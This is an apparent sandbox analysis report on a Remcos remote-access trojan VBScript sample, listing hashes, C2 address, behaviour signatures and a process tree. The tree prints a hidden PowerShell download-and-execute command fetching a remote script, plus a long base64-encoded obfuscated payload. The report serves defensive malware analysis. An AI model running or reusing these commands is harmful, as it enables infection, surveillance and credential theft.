remcos | 23ca901cd7f4f0ca6b2a652c7467911756241a02e37ebf60c6c09c6224478622

Analysis

max time kernel
148s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
03-12-2024 22:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

remcos.vbs
Size

563KB
MD5

f7c17bfb4247e64e22dd52540a4b903b
SHA1

368ba4d02df294fa42efee5e4f330d5e7260d0c3
SHA256

23ca901cd7f4f0ca6b2a652c7467911756241a02e37ebf60c6c09c6224478622
SHA512

5f79d697ba68f6d285d56b8f38587774eb95162be0af3080a14ea9e277b0b33e3c20c8ccd74c6dddcc06eff3aed36b2c5bb096a8b92101c6f27d2603dfb136a4
SSDEEP

12288:eQO27ODRJ7gfddv13rIJQ9HmFboRCuo52CDm09LghGmQ3DnIE2YgdhhC:eN27a7mMJQl2Ac4CDdg8mQPGhhC

Score

10^/10

remcos remotehost collection discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

41.216.183.218:56792

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-I5RS8V
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
Remcos
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

Processes:

resource	yara_rule
behavioral2/memory/1680-235-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/628-236-0x0000000000400000-0x0000000000457000-memory.dmp	Nirsoft
behavioral2/memory/1596-237-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

Processes:

resource	yara_rule
behavioral2/memory/628-236-0x0000000000400000-0x0000000000457000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

Processes:

resource	yara_rule
behavioral2/memory/1596-237-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exepowershell.exe

flow	pid	Process
6	2484	powershell.exe
39	1588	powershell.exe
40	1588	powershell.exe
42	1588	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
3132	powershell.exe
2484	powershell.exe
3664	powershell.exe
4588	powershell.exe
3196	powershell.exe
1132	powershell.exe
1092	powershell.exe

.NET Reactor proctector 1 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

Processes:

resource	yara_rule
behavioral2/memory/1588-214-0x0000000007930000-0x0000000007986000-memory.dmp	net_reactor

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

Processes:

powershell.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

Processes:

flow	ioc
5	raw.githubusercontent.com
6	raw.githubusercontent.com

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

powershell.exe

description	pid	Process	procid_target
PID 1588 set thread context of 1596	1588	powershell.exe	126
PID 1588 set thread context of 628	1588	powershell.exe	127
PID 1588 set thread context of 1680	1588	powershell.exe	128

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

cmd.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.execmd.execmd.exepowershell.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Delays execution with timeout.exe 1 IoCs

evasion

Processes:

timeout.exe

pid	Process
4484	timeout.exe

Kills process with taskkill 1 IoCs

evasion

Processes:

taskkill.exe

pid	Process
2872	taskkill.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
2484	powershell.exe
2484	powershell.exe
3664	powershell.exe
3664	powershell.exe
4588	powershell.exe
4588	powershell.exe
3568	powershell.exe
3568	powershell.exe
3196	powershell.exe
3196	powershell.exe
516	powershell.exe
516	powershell.exe
1132	powershell.exe
1132	powershell.exe
1588	powershell.exe
1588	powershell.exe
1092	powershell.exe
1092	powershell.exe
396	powershell.exe
396	powershell.exe
3132	powershell.exe
3132	powershell.exe
1680	powershell.exe
1680	powershell.exe
1596	powershell.exe
1596	powershell.exe
1596	powershell.exe
1596	powershell.exe

Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

powershell.exe

pid	Process
1588	powershell.exe
1588	powershell.exe
1588	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exetaskkill.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	2484	powershell.exe
Token: SeDebugPrivilege	3664	powershell.exe
Token: SeDebugPrivilege	4588	powershell.exe
Token: SeDebugPrivilege	2872	taskkill.exe
Token: SeDebugPrivilege	3568	powershell.exe
Token: SeDebugPrivilege	3196	powershell.exe
Token: SeDebugPrivilege	516	powershell.exe
Token: SeIncreaseQuotaPrivilege	516	powershell.exe
Token: SeSecurityPrivilege	516	powershell.exe
Token: SeTakeOwnershipPrivilege	516	powershell.exe
Token: SeLoadDriverPrivilege	516	powershell.exe
Token: SeSystemProfilePrivilege	516	powershell.exe
Token: SeSystemtimePrivilege	516	powershell.exe
Token: SeProfSingleProcessPrivilege	516	powershell.exe
Token: SeIncBasePriorityPrivilege	516	powershell.exe
Token: SeCreatePagefilePrivilege	516	powershell.exe
Token: SeBackupPrivilege	516	powershell.exe
Token: SeRestorePrivilege	516	powershell.exe
Token: SeShutdownPrivilege	516	powershell.exe
Token: SeDebugPrivilege	516	powershell.exe
Token: SeSystemEnvironmentPrivilege	516	powershell.exe
Token: SeRemoteShutdownPrivilege	516	powershell.exe
Token: SeUndockPrivilege	516	powershell.exe
Token: SeManageVolumePrivilege	516	powershell.exe
Token: 33	516	powershell.exe
Token: 34	516	powershell.exe
Token: 35	516	powershell.exe
Token: 36	516	powershell.exe
Token: SeDebugPrivilege	1132	powershell.exe
Token: SeIncreaseQuotaPrivilege	1132	powershell.exe
Token: SeSecurityPrivilege	1132	powershell.exe
Token: SeTakeOwnershipPrivilege	1132	powershell.exe
Token: SeLoadDriverPrivilege	1132	powershell.exe
Token: SeSystemProfilePrivilege	1132	powershell.exe
Token: SeSystemtimePrivilege	1132	powershell.exe
Token: SeProfSingleProcessPrivilege	1132	powershell.exe
Token: SeIncBasePriorityPrivilege	1132	powershell.exe
Token: SeCreatePagefilePrivilege	1132	powershell.exe
Token: SeBackupPrivilege	1132	powershell.exe
Token: SeRestorePrivilege	1132	powershell.exe
Token: SeShutdownPrivilege	1132	powershell.exe
Token: SeDebugPrivilege	1132	powershell.exe
Token: SeSystemEnvironmentPrivilege	1132	powershell.exe
Token: SeRemoteShutdownPrivilege	1132	powershell.exe
Token: SeUndockPrivilege	1132	powershell.exe
Token: SeManageVolumePrivilege	1132	powershell.exe
Token: 33	1132	powershell.exe
Token: 34	1132	powershell.exe
Token: 35	1132	powershell.exe
Token: 36	1132	powershell.exe
Token: SeIncreaseQuotaPrivilege	1132	powershell.exe
Token: SeSecurityPrivilege	1132	powershell.exe
Token: SeTakeOwnershipPrivilege	1132	powershell.exe
Token: SeLoadDriverPrivilege	1132	powershell.exe
Token: SeSystemProfilePrivilege	1132	powershell.exe
Token: SeSystemtimePrivilege	1132	powershell.exe
Token: SeProfSingleProcessPrivilege	1132	powershell.exe
Token: SeIncBasePriorityPrivilege	1132	powershell.exe
Token: SeCreatePagefilePrivilege	1132	powershell.exe
Token: SeBackupPrivilege	1132	powershell.exe
Token: SeRestorePrivilege	1132	powershell.exe
Token: SeShutdownPrivilege	1132	powershell.exe
Token: SeDebugPrivilege	1132	powershell.exe
Token: SeSystemEnvironmentPrivilege	1132	powershell.exe

Suspicious use of WriteProcessMemory 63 IoCs

Processes:

WScript.exepowershell.exepowershell.execsc.execmd.execmd.exepowershell.execmd.execmd.exepowershell.exe

description	pid	Process	procid_target
PID 2256 wrote to memory of 2484	2256	WScript.exe	82
PID 2256 wrote to memory of 2484	2256	WScript.exe	82
PID 2484 wrote to memory of 3664	2484	powershell.exe	84
PID 2484 wrote to memory of 3664	2484	powershell.exe	84
PID 3664 wrote to memory of 596	3664	powershell.exe	86
PID 3664 wrote to memory of 596	3664	powershell.exe	86
PID 596 wrote to memory of 3936	596	csc.exe	87
PID 596 wrote to memory of 3936	596	csc.exe	87
PID 3664 wrote to memory of 2636	3664	powershell.exe	88
PID 3664 wrote to memory of 2636	3664	powershell.exe	88
PID 2256 wrote to memory of 2100	2256	WScript.exe	102
PID 2256 wrote to memory of 2100	2256	WScript.exe	102
PID 2100 wrote to memory of 3948	2100	cmd.exe	104
PID 2100 wrote to memory of 3948	2100	cmd.exe	104
PID 3948 wrote to memory of 4236	3948	cmd.exe	106
PID 3948 wrote to memory of 4236	3948	cmd.exe	106
PID 3948 wrote to memory of 3568	3948	cmd.exe	107
PID 3948 wrote to memory of 3568	3948	cmd.exe	107
PID 3948 wrote to memory of 3568	3948	cmd.exe	107
PID 3568 wrote to memory of 3196	3568	powershell.exe	108
PID 3568 wrote to memory of 3196	3568	powershell.exe	108
PID 3568 wrote to memory of 3196	3568	powershell.exe	108
PID 3568 wrote to memory of 516	3568	powershell.exe	109
PID 3568 wrote to memory of 516	3568	powershell.exe	109
PID 3568 wrote to memory of 516	3568	powershell.exe	109
PID 3568 wrote to memory of 1132	3568	powershell.exe	112
PID 3568 wrote to memory of 1132	3568	powershell.exe	112
PID 3568 wrote to memory of 1132	3568	powershell.exe	112
PID 3568 wrote to memory of 3092	3568	powershell.exe	114
PID 3568 wrote to memory of 3092	3568	powershell.exe	114
PID 3568 wrote to memory of 3092	3568	powershell.exe	114
PID 3092 wrote to memory of 356	3092	cmd.exe	116
PID 3092 wrote to memory of 356	3092	cmd.exe	116
PID 3092 wrote to memory of 356	3092	cmd.exe	116
PID 356 wrote to memory of 2544	356	cmd.exe	118
PID 356 wrote to memory of 2544	356	cmd.exe	118
PID 356 wrote to memory of 2544	356	cmd.exe	118
PID 356 wrote to memory of 1588	356	cmd.exe	119
PID 356 wrote to memory of 1588	356	cmd.exe	119
PID 356 wrote to memory of 1588	356	cmd.exe	119
PID 1588 wrote to memory of 1092	1588	powershell.exe	120
PID 1588 wrote to memory of 1092	1588	powershell.exe	120
PID 1588 wrote to memory of 1092	1588	powershell.exe	120
PID 3948 wrote to memory of 4484	3948	cmd.exe	121
PID 3948 wrote to memory of 4484	3948	cmd.exe	121
PID 1588 wrote to memory of 396	1588	powershell.exe	122
PID 1588 wrote to memory of 396	1588	powershell.exe	122
PID 1588 wrote to memory of 396	1588	powershell.exe	122
PID 1588 wrote to memory of 3132	1588	powershell.exe	124
PID 1588 wrote to memory of 3132	1588	powershell.exe	124
PID 1588 wrote to memory of 3132	1588	powershell.exe	124
PID 1588 wrote to memory of 1596	1588	powershell.exe	126
PID 1588 wrote to memory of 1596	1588	powershell.exe	126
PID 1588 wrote to memory of 1596	1588	powershell.exe	126
PID 1588 wrote to memory of 1596	1588	powershell.exe	126
PID 1588 wrote to memory of 628	1588	powershell.exe	127
PID 1588 wrote to memory of 628	1588	powershell.exe	127
PID 1588 wrote to memory of 628	1588	powershell.exe	127
PID 1588 wrote to memory of 628	1588	powershell.exe	127
PID 1588 wrote to memory of 1680	1588	powershell.exe	128
PID 1588 wrote to memory of 1680	1588	powershell.exe	128
PID 1588 wrote to memory of 1680	1588	powershell.exe	128
PID 1588 wrote to memory of 1680	1588	powershell.exe	128

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\remcos.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "iex (iwr -Uri 'https://raw.githubusercontent.com/latencyx0/EmptyBuilder/refs/heads/main/remcos.ps1' -UseBasicParsing)"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -encodedCommand CgAgACAAIAAgACQAbgBtAGcAYgBLAGMAWQBIACAAPQAgADkANQAxADUACgAgACAAIAAgACQAbABiAEwARQBuAEUAQwBIACAAPQAgACgAWwBNAGEAdABoAF0AOgA6AFMAcQByAHQAKAAkAHMARwBoAGsATwBUAGkAYgApACAAKgAgADEAMQApAC4AVABvAFMAdAByAGkAbgBnACgAKQAKACAAIAAgACAAJABmAGwARwBrAHgAUQBxAEsAIAA9ACAAIgBmACIACgAgACAAIAAgACQASgByAEoAVQBZAGMAdgBnACAAPQAgACIAZAAiAAoAIAAgACAAIAAkAHgAcgBlAFYARQBXAEMAeAAgAD0AIAAiAE4AIgAKACAAIAAgACAAJABhAE4AeQBBAG4AUwByAFIAIAA9ACAAIgBHACIACgAgACAAIAAgACQAZABpAHUAZQB0AEwAQQByACAAPQAgACIAZAAiAAoAIAAgACAAIAAkAG4AbgBpAG8ARQB0AFMAcgAgAD0AIAAiAEoAIgAKACAAIAAgACAAJABEAGkATwB0AFIAYgBIAEYAIAA9ACAAIgBTACIACgAgACAAIAAgACQATQBwAHUAawB3AFAAVQBqACAAPQAgACIARwAiAAoAIAAgACAAIAAkAE8AZQBrAE4AWQBlAGUAWgAgAD0AIAAiAGMAIgAKACAAIAAgACAAJABoAGsAegBJAHgATABHAGwAIAA9ACAAIgBCACIACgAgACAAIAAgACQASwBhAGkAcwBZAFYAdABOACAAPQAgACIAMwAiAAoAIAAgACAAIAAkAEoAQgB3AFoAWgBvAHcAbQAgAD0AIAAiAFoAIgAKACAAIAAgACAAJABFAGcATwBtAHEASgB6AFEAIAA9ACAAIgBpACIACgAgACAAIAAgACQAaQBBAHAAVQB4AHIAagBwACAAPQAgACIAYwAiAAoAIAAgACAAIAAkAEwAZgBvAHMAUQBMAG0AWQAgAD0AIAAiAE0AIgAKACAAIAAgACAAJABwAHQAcABmAEcAYQBaAEQAIAA9ACAAIgA5ACIACgAgACAAIAAgACQAdAAxACAAPQAgADYANAAgACsAIAA1ADYACgAgACAAIAAgACQAdAAyACAAPQAgACgAJAB0ADEAIAAqACAANgApACAALQAgACgAJAB0ADEAIAAvACAANwApAAoAIAAgACAAIAAkAHQAMwAgAD0AIAAiAGYAIgAgACsAIAAiAGQAIgAgACsAIAAiAE4AIgAgACsAIAAiAEcAIgAgACsAIAAiAGQAIgAKACAAIAAgACAAJAB0ADQAIAA9ACAAIgBKACIAIAArACAAIgBTACIAIAArACAAIgBHACIAIAArACAAIgBjACIAIAArACAAIgBCACIACgAgACAAIAAgACQAdAA1ACAAPQAgACIAMwAiACAAKwAgACIAWgAiACAAKwAgACIAaQAiACAAKwAgACIAYwAiACAAKwAgACIATQAiACAAKwAgACIAOQAiAAoAIAAgACAAIAAkAHAAIAA9ACAAJAB0ADMAIAArACAAJAB0ADQAIAArACAAJAB0ADUACgAgACAAIAAgACQAYQAgAD0AIABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcAApAAoAIAAgACAAIAAkAGQAIAA9ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAFEAVgBRAFYAQQBUAGQAeABFAGYARgBWAHMAVAAzAEoATgBYAEwAZAA0AGcAVwBNACsAVABBAG8ARQBaAGIAcQA1AGYAdgBLAEMANgB4AHoAUgBzAHcAQwAwADkAZgArAFIAMwBuADUANQA2ADkAUQAyAHUAaAA3AFEAdwBhAHMAUABJAGcAMQBPAGsAQwBnAFEAdwBKAE0AZABFAHEAWQBEADcAWQBzAFYAaAAwAGcAbABhAHQANwB4AFUARgBPAEsAWgBwADkAQgBkAHAAdgBFAHcAbgBKAFMAaABPAE0AVwBpADAAdgB3AHUAagBBAGcAdgA0AEQATwArAFkAWQBmAGIATABRAGkAOQBMAGMAaQBiAE4ANQB2AGcAUQBjAEQAMABJAFIAdAA1ADYAQQB3AEoAQwBUADgAdgA4AFcAdABoADgAaQB0AFMAegArAFYAawBIADYARAA4AEEARgByADkAWQBxAG0AKwBwAE8ASwB1AGMAVgArAGMASgByAEUANwAxAEsAMABlAHkAawAyAEUAZABPAEgAYQB6AFAAdABJAEUAZgArAHEAdgBKAGkASwBqAGcARABFAEYARwBvACsAbQBLAHIAVQB6ADIAawBMAGgAMQBWAHMAawBTAG8AdABSAEgAYgBaAC8AVAB2AEsARABJAHUAOABYAHgARwArAHEARQB1AFIAMgBVAGEAVgA4AEwATQBzAHoATgByAEMAZABWAFcAUQBLAHkAKwAwAEsAagBlAFMANwBBADIANAB1AEIAYgBjAHcASAA3AGMAKwAvAEcAOABEAGQAYwBpAEIATgArAE4AWgBxAHAAWAA1AFQAZwBjAGkAcwA1ADQAagBXAEwASwBQAEUAWQBKAFIATQB5ADMAbQBVAFkAbgBEAEcAWQA3AEsAcABIAG8ANgBOAGIANwBsADAANQBqAHAAaQBCAGEAbQAzAHYAeQBQAGMAeABqAEkAVgBIADUARgBmAEMAMwBhAGYAUAB3ADIAYgA3AEwAeAB6AEsAWABMAFUASABuAC8ATABPAHEAdwBJAEwAZABqAHkAdAB4AEYAUABwAGYAbQBCAHAASQBoAGMAZwBrAE0AbQBDADMAWgA0AGMAZgB3AE0AMABrADUAdwBFAGQAWgBQADUAYwBQAE0AMQArADIARQBvAFIAQgBuAGMAegB1AGoAegBHAEYAWQAwAEYAQwBhAGIAawBaAEUAbgBWAGYAagA1AGUAOABQAEQAYgAyAE0ASgBJAGkAQgBUAGgAVwBTAGIAWgBWADUAcQA4AG4ALwBnAGoAQQBxAC8AbwA5AG4AeQA5AE8ASQBWAFAAQwBEAGQAcwBzAGoANQBjAHkAQQBzAHQAUwBZAFIASgBuAGsASgA1ADkAcgBzAGYAMgBBAFoAbQBpAFEAOQBmAHQAMQBhAGQASQBDADkAbQBXAE4AZQBYADgASQA0AFAAVgA4AFUAZAB4AFAAVwB2AHUAWgBYADUARQBlAEQATQBuAFEAMwA2AGwAbABTAGUAYwBJAFQAWABRAFIAQwBVAHUAMQBNAGUAdgB1AGYAMgBZAFYAYQBXAHQAQwBXADgATQBIAG4AcABmAGwANAA1AEgARAB0AEYAUwBMAHYAeQAxAFoAVQBwADIAZgBXAEYAcwB5AEoAZgAvAFoAZgBLADgARwBPAE4ATQBOAG4ARwB4AEQAcQAyADYAVQBGAC8AMABuAFcAQgBTAGYAZABDADUAZABQAFcAMAA0AHIASgBOAFEATgBWAGcAZABTAEsAbgA4AEkAQwBUAGwAeQBVADMATQBNADIALwB0AGoAUQB5AEIAQwBLAE0ARwBYAG0ANABrAFEAcQByADYANwBPAEgAbgBRAEEASABIAHEAUQAwAHgAMgBaADYAMQBGADQAMgBqAFYAZQBWAHQAbgBjAGoAYwA3AFAAMgBrAGEASwBjAG8AVQBlAEkAegBKAEYAWABTAFMAdQBHAHoAbwBmAHIAegBHADEAegBiAFoAOQA1AHIAdQA2AGwANwBQAHIAZABOADUAMgBpAE4AbABGACsASwBBAFAARgBJAGsARAB3AFEAUgB2AEEAUQBqAHMAMgBTADkAbQBIADEAMgBKAEQAawBCAEkAbwBwAGIAdwBMAHoAZwAwAHgAMQBXAHkAVABsAHEANABpAE4AcwB3AEoAWAB5AEsAcQBvAFEAZABYAFkAVwB4AG8AQQBzADUARQBYADkATwB5AEEAQQA3AGQASgB5ADIAQQBvAHoARgBmAG0AawBhAFUAMABNAHYASgAvADIANAA5AEUAUQB5AHUAeABtAEkAdgBjADEAQQBpAFYAbgBNADgAYgBLAG8ARABKAHIANgB3ACsAUQBsAG8AegBPAGYAKwBQAEgAVwBmAHEAVABoAFIAbgAzAFoAbgB1AFMATABRAGEANgBJADMAWQBpAGsAaQA0AEwASQBqAGsAcQB4ADUANwBMAGEAZwA1ADQAagBpAGsATQBTAHUAOAByAEUAbQBhADQAegBvAHgAdgBrAFMANgBjAEQAMABHAFAAQwBhADEAagBnAFMARQBxAEoANABGAGMASwAwAFMAKwAvAE0AVwA3AHcAVgBOAHUARABDAGQAWQAwAGsAbQBrAEEAcQB4AEMAMABnADgAMwBjAEMAOQBqAFAATQBhAGYARQBtADcAdABSAGMAMwBRAEEAegBGAFQAYQBmADAAdgByAFUAbgBBACsAcgBGAG0AWQBnAHUAawBDAEMAcwBhADUAZABPAHEARABDADkAUgBBAGwAYgBRAE0AZgBHAFIAVwBTAHgARABvACsARQA4ADgAUgA5ADgARQA0AEMAVgBXADYAawBLAHUARgBxAGwAegB4AEUARABGAG8AQgBFAHkAUwAwAHMAUAAyAGkAcAA1AHAARwBFAEoAOQBVAHMAQwBqAEYAbgBZAFYASABnAEwANABCADIATABWAGUALwB0AHcAdQB5AEQAbwBBAHkAeQBFAHMAVABHAGwAVQB4ACsAMwA0AEwAZwBvAHkAZgBFAEMAcwBzAFkAegBrAFkANQA0AEIAUQBoAEoASQBQAHUAYQAxAGEAawBGAEYANwBhADMAQgBGAEMAYgBqAHQAcgBqAHMATAA3AG8AUQB0AFMAYQBvAHgAdQBVAHUAVgByAFQAKwBzAHkAWgBZAE0AWgBtAFcARQBCADYASABaAGcAVwBFADQASQBLAEoANABOAEkASQBmADYAegBXAFUARABPAHEASwBEAFkAdgA2ADgAZwBnAFMAcQBtAHQANAA1AGUAMwBZADkANABCADAAKwBOAEIAVABRAGkAUQBYADIAZAB4AGkALwBCAFYAcABMAHcAcQBxAGIAcQBTAEIAYwBjAGcAYwBjAEsARwA0AHkAdABmAHYANwBtACsAcgBuAHcAbwBVAHAAUwBZADgAUABoAHAAWAAvADAAKwBuAEcAWABIAHkASwA0AHAAUwBJAFIAaABHADIARgBaADMAKwBUAHQAUwBIAFEARABJAFkAcwBTADEAZQBSAGQAbABuAG8AbABFADMAZQBaAHoAcwBvAFQAVgA3AE4AWQBwAHAAVABBAFIATQBjAE8ANwBuAFUAVgAvADkATwAvADkAbgBrAFkANgB3AGgAWgB3AGMAdABBAE4AbgBUAFUAeQBhAHAAZABPADMALwBkAC8AaQBHADUAVgBnAEsAWgBEAFcAWQA4AFQANwBQAGkAVgBQAFAAVQBqAFEANwBVAFYAbwBjAGIAOABoADUAWgBjAE0ASgAzADEAMgBSAC8ARwArAEgAVwAyAFoAdAA3AGIAWABHAGYAagB6AHkATgBIAEkAeQAxAHIAWQB5AGoAUgBaAFcAcQA0AHEAZABWAGoAcwBJAFAAbABQAFkAMQBzAFoAdQBXAEUAVQBvADkAVwBzAC8AQQBwAEEARgB5AFkAeAAwAGgAdQA1ADIAegBHAHYANgBXADAAUAAyAEoASgAxAG0ANABjAE8AeABQAC8AcQBNAEQAdABPADQAOAAyAHgAdQBjAEkAcgBqAEEATgBKAGcAQwBBAFQAUgBuAEYAWABSAGgAQgBTAEoANgBqAC8ANQBqADkANAB6ACsAVABnAFgAbABDAHkAdQBDAE4AMQBBAE8AUQA0AFEAegBOAFoAdwB3AEgAWABDAEEAZwBuAEwASgBXAEEAVABFAHcAbwBKAGsASQA3AHAAUQBTAFQAQQBOADIAaAArAHgASABUAGUARABFAEoAcABmADQAMQBqADIAVgBCAEoAegBIAEkAcQBtAEEAMwBUAHAAbwBPAEkAcwBJAEYAdwA3AHMALwB1AHMAeQBXAGsAawBOAHEARwBDAFQAYgBDAHkAZgBGADIAbgBSAFMAZABQAHAAQQA3AEQASQBpAEEAeAB4ADAAMABrADEAWQBxAE0AUwByAEUAUwBnAGoAQQBuAHAAUgBvADIAcQBOAGgAWgA3AHQAUgA1AEsAWQBlAGUAaQBEADIAOABqAGEARwAwAGsAKwBLAGsANgBHAHkAOABtAHYANgBqAEwAMgB0AHAAUwB0AFYAdgA3AEYAMwBWAGMASAA5AHYAQwBCAG0AdABSAG0AdwBmAFkANABUAEMAUABtAGYAaAB0AGQAaABrAEcAVwBBAGwARQBZAFYAUQAvAHQAdABIAGMAcQA2AHYAdgBpAEUAYwBqAG8AMQA5AFIAZAA4AHQARABiAGYAbwBEAHkASgBsAEIAZwBRAEcAYwBjAGsAUwBDAG0AWABCAFMAdQBhAFEAUQBjAEsAcgBDAHUAQgBsAC8AbgBaAEUAcQBNAHMAWQBSAEkAUQBZADkAdQB6AGUAMQBNAHEANwBiAGYATQBGAFUASgBwAGIAYQBtADEAZAB3AGEANQBHAGcAUQBtAGMAVgBiAEoALwB1AHUATwB3AHgAZwA3AHcAUQBnACsAcQBBAHIALwBKADUAegA0AGQAVgBSAGcAMQBHADgAdABuAHkAcwAwAG0AagBkAGkAYwBEADAATQBTAHAAeQA3AFcAMgBLAGQAQwB4AEkAeABlAGkASQB5AFQAZgBJAHUAWABsAFMAOQBaAFUAOQBOADEAaQBxADQAZQB0AFMAOQAxAGIAdABsACsAWQBvAEwAbwBBACsAQgBZAHUASABqAGMAZgBvAEwAbABkAHMAMABQAFgAawBNAHoAMgAvAGMAeABBAGYAUABaAFkAMwA2AEEASgB5AFAAVQBLADMANQBrAGkAWABqAC8AagAyAEoARQBZAEoAQQBmADkATwBsAGIATQBsADUAbwBUAGYAYQAvAGsAMABrAHMAQwBXAFEANgArAGEANwArAFMARQBGAHIAagBDADAAcgBMADgAKwBIAHYAZQBwAFEARwBFADcAdQBSAGUAWgBzAFEAQwBZADYAZgB6AEoAbABQAEIAbwBGAFUALwBnAC8AcQBRAGsAawBkAFoAYQBDAGcAcgBzAE4AbgBTAE4AeQBnAFEASABrADUAagBiAHEAWQBSAGEAUQB3AG0AWABqAHcASwBVAEQANwA0AHAAegBKADAAZABWAEMAVABJAGsARgBlAG4ARAAzAHIAVQB4AFUATwAyADAAQQBVAGcAcgB3AFoARABuADUAQwBnAG0AbABIAFkAeABhAEsAMgA1AEgAMwBhAGkAdQBSAEwASgBBAEsAUQB6AG4ATABDADUAWABXAEwAQQBDAFQAWABDAGkAOABrAE0ANQBuADcALwB5ADgAagBkAGoAcABlAGIARgB6AHYAWABhACsARgBrAHcAMQArAFQAUgBPADUAUQBRACsARgAyAHgAYwBUAEEANABTAGIAbQArAEMANAB4AFIAbgBNAGYAbQBGAEQATABHAE4ASgBMAG4AawAvAGYATwBJAGEANgBKAEoAZwBmAG8AZQBpAFAAZABNAEsAbgAyAFQAaQBxAFEANAB3AGUARgBvAFUARwBmADcAcwB3AG8AYwBOAFEASgBjADgAdAB1ADIAKwB6AE8AUwBkADQAZQBZAEoAYwBNAEEA